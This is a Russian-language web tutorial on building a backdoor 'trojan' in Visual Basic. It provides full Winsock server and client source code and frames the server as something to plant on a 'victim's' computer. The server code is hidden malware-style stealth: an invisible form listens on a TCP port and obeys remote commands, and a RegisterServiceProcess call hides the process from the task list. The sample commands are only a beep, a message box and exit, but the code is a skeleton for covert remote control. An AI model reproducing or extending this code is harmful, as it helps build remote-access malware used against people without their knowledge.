Программирование на Visual Basic

Троян на visual basic

    В интернете полным полно всяких сайтов, на которыхВы можете скачать себе самые разнообразные трояны и вирусы. Но о большинствеиз них (скорее всего) уже знают антивирусные программы. К тому же надо с опаскойотноситься к таким троянам, которые отсылают пароли на e-mail, т.к. их большинстводублирует письмо на e-mail автора :о) Поэтому лучше всего сделать троян самому.

    Для начала разберёмся с классификацией троянов. Трояны делятсяна несколько категорий: BackDoors, Nukers и т.д. В этой статье мы будим говоритьо создании собственного BackDoor"а, а точнее программы скрытого удалённогоадминистрирования. Такие программы состоят из 2-х частей: одна - сервер,а другая - клиент. На компьютер жертвы засылается сервер. Именно он скрываетсяот пользователя. Файл сервера при запуске автоматически копируетсяв каталог Windows или системный каталог, а также скрывается из диалога"Завершение работы программы", который вызывается нажатием Ctrl+Alt+Delete.Во время работы, сервер открывает какой-нибудь порт от 1-ого до 65535-ого,и ждёт там клиента. Оыбчно сервер открывает порт на TCP протоколе. После того,как клиент подключиться к серверной части, он начинает посылать ей команды.Командами являются просто сочетания символов, обычно в виде слов, чтобы авторутрояна не мучиться :о) Какие именно он придумает команды - нужно толькодогадоваться.

    Итак. Как мы и обещали, приступаем к созданию программы. Сначаланапишем сервер. Для этого создаём новый проект на Visual Basicв виде стандартного EXE. Далее подключаем к нему Microsoft Winsock Control:в меню "Project"->"Components..."



    Если в списке его нет, то нажмите "Browse" и выберете файл"mswinsck.ocx". Тепрь ставим на форму этот компонент. Он нам нужен для свазиклиентской и серверной части по TCP протоколу. Далее изменяем форму:убираем заголовок, делаем малые размеры и visible формы ставим на False. Укомпонента меняем имя на "ws" и свойству LocalPort присваиваем число, которое ибудет номером порта, например 123.



    Теперь попробуем запустить программу. У вас ничего не должно появиться.Завершаем работу программы нажатием кнопки "стоп".

    Начинаем писать код программы. В Form_Load пишем:

Private Sub Form_Load()
Do
    If ws.State <> sckConnected And ws.State <> sckListening Then
        ws.Close
        ws.Listen
    End If
    DoEvents
Loop
End Sub

    Здесь, если мы ни с кем не соеденины и не прослушиваем порт, закрываемсвязь в ws и открываем 123 порт в ожидании клиента. Условие на состояние связи в ws нужноповторять во время работы программы для того, чтобы избежать случая, который возникаетпри разрыве связи. Т.е. вы начинаете случать порт, затем подключается удалённый компьютер,а после его отключения порт слушаться уже не будет. Вот значения, которые может приниматьсвойство State:
Константа Значение Описание
sckClosed 0 Такое значение стоит при запуске программы или когда порт закрыт
sckOpen 1 Порт открыт
sckListening 2 Порт прослушивается
sckConnectionPending 3 Connection pending
sckResolvingHost 4 Resolving host
sckHostResolved 5 Host resolved
sckConnecting 6 Подключение к хосту
sckConnected 7 Связь установлена
sckClosing 8 Связь закрывается...
sckError 9 Ошибка


    Теперь нужно подключить клиента. Для этого вws_ConnectionRequest, т.е. в запросе на соединение пишем:

Private Sub ws_ConnectionRequest(ByVal requestID As Long)
ws.Close
ws.Accept requestID
End Sub

    Здесь мы сначала прекрашаем слушать, а затем подсоединяемклиента по номеру его запроса. На этом код по соединению двух программзакончен. Далее разбираем код для ws_DataArrival. Он будет вызываться,когда будут приходить какие-нибудь данные от сервера.

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim Data As String
ws.GetData Data

Select Case Data
    Case "BEEP"
        Beep
    Case "MSG"
        MsgBox "Привет!", vbInformation, ":o)"
    Case "END"
        End
End Select
End Sub

    В этом коде тоже всё просто. Сначала объявляем переменнуюData, которая будет содержать пришедшие данные, а затем записываем их.После этого просматриваем все возможные варианты, т.е. команды, которые моглиприйти от сервера. Здесь их три: BEEP, MSG, END. То, что они делают, думаю,объеснять не надо. Теперь остаётся скомпилировать программу. Назовём её "server.exe".

    Приступим к написанию клиентской части. Создадим новый проект и форму,как на рисунке:



    Поставьте на форму 2 текстовых поля и назовите их "IP" и "Port", затемдве кнопки с надписями "Подключиться" и "Отключиться", и 3 кнопки с надписями"Бип!", "Сообщение" и "Закрыть сервер". Имена кнопок оставьте стандартными. Теперьдобавьте Winsock Control и назовите его "ws". Поскольку наш сервер работает на 123 порту,то свойству Text второго текстового поля можно сразу присвоить значение "123". Текстпервого поля будет значение IP адреса данного компьютера. Для этого пишем:

Private Sub Form_Load()
IP.Text = ws.LocalIP
End Sub

    Теперь запущенная программа может выглядеть примерно так:



    Продолжаем писать код.

Private Sub Command1_Click()
ws.Close
ws.RemoteHost = IP
ws.RemotePort = Port
ws.Connect
End Sub

Private Sub Command2_Click()
ws.Close
End Sub

    При нажатии на кнопку "Подключиться", мы закрываем связь,указываем удалённый IP и порт и подключаемся. Кнопка "Отключиться" просто закрываетсвязь.

Private Sub Command3_Click()
If ws.State <> sckConnected Then Exit Sub
ws.SendData "BEEP"
End Sub

Private Sub Command4_Click()
If ws.State <> sckConnected Then Exit Sub
ws.SendData "MSG"
End Sub

Private Sub Command5_Click()
If ws.State <> sckConnected Then Exit Sub
ws.SendData "END"
End Sub

    В последних трёх кнопках программа сначала проверяет связь, и,если соединено, то посылает команду.

    Теперь компилируем программу в "client.exe". Можно протестироватьтроян. Для этого запустите "server.exe", а затем "client.exe" и попробуйте подключиться.Если не было ошибок, то понажимайте на кнопки команд. Теперь сервер можно закрытьиз списка задач (Ctrl+Alt+Delete).

    Вот в принципе и всё. Если вы хотите скрыть своего трояна из списказадач, то в объявлениях формы сервера подключите функцию RegisterServiceProcess, атакже измените Form_Load:

Private Declare Function RegisterServiceProcess Lib _
"kernel32.dll" (ByVal dwProcessId As Long, ByVal _
dwType As Long) As Long

Private Sub Form_Load()
RegisterServiceProcess 0, 1
Do
    If ws.State <> sckConnected And ws.State <> sckListening Then
        ws.Close
        ws.Listen
    End If
    DoEvents
Loop
End Sub

    Исходники на этой странице.

Hosted by uCoz